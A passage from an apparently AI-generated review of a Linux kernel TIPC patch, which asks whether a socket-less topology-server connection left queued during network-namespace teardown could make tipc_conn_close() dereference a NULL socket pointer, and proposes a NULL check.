correct, or why cond_resched() is sufficient in your view?

[Severity: High]
This isn't a bug introduced by this patch, since the old idr_find() plus
conn_get() walk fed tipc_conn_close() the same way, but can this walk hand
a socket-less conn_idr entry to tipc_conn_close() and dereference NULL?

Kernel subscriptions are published into conn_idr with sock == NULL:

net/tipc/topsrv.c:tipc_topsrv_kern_subscr() {
	...
	con = tipc_conn_alloc(tipc_topsrv(net), NULL);
	...
}

and two other users of con->sock treat it as optional:

net/tipc/topsrv.c:tipc_conn_kref_release() {
	...
	if (con->sock)
		sock_release(con->sock);
	...
}

but tipc_conn_close() dereferences it in its first statement, before
CF_CONNECTED is even tested:

net/tipc/topsrv.c:tipc_conn_close() {
	struct sock *sk = con->sock->sk;
	...
}

The ordering I think reaches this after the walk grabs a reference with
kref_get_unless_zero():

  tipc_group_create() -> tipc_topsrv_kern_subscr() creates conn X with
  sock == NULL

  a name table event runs tipc_topsrv_queue_evt(), which keeps its
  tipc_conn_lookup() reference when the work is queued:

	if (queue_work(srv->send_wq, &con->swork))
		return;

  socket close -> tipc_group_delete() -> tipc_topsrv_kern_unsubscr()
  clears CF_CONNECTED and drops its two references without waiting for
  the queued swork, so X stays in conn_idr owned by the pending work

  netns exit -> tipc_topsrv_exit_net() -> tipc_topsrv_stop() runs before
  send_wq has executed that work

Only srv->awork is cancelled before the walk, and send_wq/rcv_wq are
destroyed afterwards in tipc_topsrv_work_stop(), so is there anything that
excludes a still-queued swork keeping a sock == NULL entry alive here?
Would a check for con->sock in tipc_conn_close(), or skipping socket-less
entries in the walk, be appropriate so the three sites touching con->sock
agree?

-- 
Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1789960909.git.xuyuqiabc%40gmail.com